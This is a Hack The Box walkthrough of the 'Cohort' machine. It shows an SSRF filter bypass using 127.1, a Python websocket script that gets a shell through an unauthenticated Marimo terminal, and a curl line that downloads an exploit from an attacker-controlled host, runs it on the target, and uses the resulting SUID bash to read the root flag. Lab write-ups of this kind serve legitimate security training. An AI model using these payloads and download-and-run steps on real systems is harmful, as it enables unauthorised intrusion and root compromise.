
Hack The Box "Cohort" walkthrough covering SSRF filter bypass, unauthenticated Marimo terminal access, and PackageKit race-condition privilege escalation to root.
Difficulty: Easy | OS: Linux | Author: 1nt1m4cy
We start by scanning the target to see what's running:
nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174
Three open ports:
22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)
The TLS certificate shows the domain cohort.htb and a wildcard *.cohort.htb (hidden subdomains might exist).
Add it to your hosts file:
echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts
Open https://cohort.htb/ -- it's a company site for "Cohort Analytics". Not much here.
Click "Client Insights" in the nav bar. It takes you to /portal.html. This page has a form where you give it a URL and the server fetches it for you. That's SSRF -- the server makes requests on our behalf.
The form POSTs to /api/validate. If we try http://127.0.0.1/, it says "Internal or loopback addresses are not permitted." -- blocked.
But 127.1 bypasses the filter (it's shorthand for 127.0.0.1 and the filter doesn't catch it):
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/","format":"JSON"}'
Works. We have SSRF.
Use the SSRF to check nginx's /status endpoint:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/status","format":"JSON"}'
This leaks the entire nginx config:
{
"service": "cohort-edge",
"upstreams": [
{ "name": "marketing", "host": "cohort.htb" },
{ "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
{
"name": "notebooks",
"host": "nb-1be3782a8afd3ad5.cohort.htb",
"target": "127.0.0.1:8888",
"note": "internal analyst workspace, not for external use"
}
]
}
There's a hidden subdomain: nb-1be3782a8afd3ad5.cohort.htb running on port 8888. Add it:
echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
Use the SSRF to see what's on port 8888:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/","format":"JSON"}'
The response HTML has <title>marimo</title> -- it's Marimo, a Python notebook app.
Get the exact version:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/api/version","format":"JSON"}'
Version: 0.20.4
Marimo 0.20.4 has a critical vulnerability (CVE-2026-39987). The WebSocket endpoint /terminal/ws gives you a full terminal but has no authentication check. Anyone can connect.
Install the websocket library:
pip install websocket-client
Save this as shell.py:
import ssl, sys, threading, websocket
ws = websocket.create_connection(
"wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
sslopt={"cert_reqs": ssl.CERT_NONE}
)
def recv():
while True:
try:
data = ws.recv()
if isinstance(data, bytes): data = data.decode(errors="replace")
print(data, end="")
except: break
threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
ws.send(line)
Run it:
python3 shell.py
You get a shell as marimo. Grab the user flag:
marimo@cohort:~$ cat ~/user.txt
Check what's installed:
pkcon --version
# 1.2.8
dpkg -l packagekit
# hi packagekit 1.2.8-2ubuntu1.2 amd64
PackageKit 1.2.8-2ubuntu1.2 is vulnerable to CVE-2026-41651 -- a race condition that lets a normal user install a malicious package as root. The hi in dpkg output means the package is deliberately held at this old version.
On your attack machine, download the exploit and serve it:
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080
On the target (in your shell), download and run it:
cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit
Wait about 10 seconds. The exploit creates a SUID bash at /tmp/.suid_bash. Use it:
/tmp/.suid_bash -p -c 'cat /root/root.txt'
The -p flag tells bash to keep the root privileges instead of dropping them.
Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
|
v
Portal at /portal.html --> URL validation form (SSRF)
|
v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
|
v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
|
v
Shell as marimo --> user flag
|
v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
|
v
SUID bash --> root flag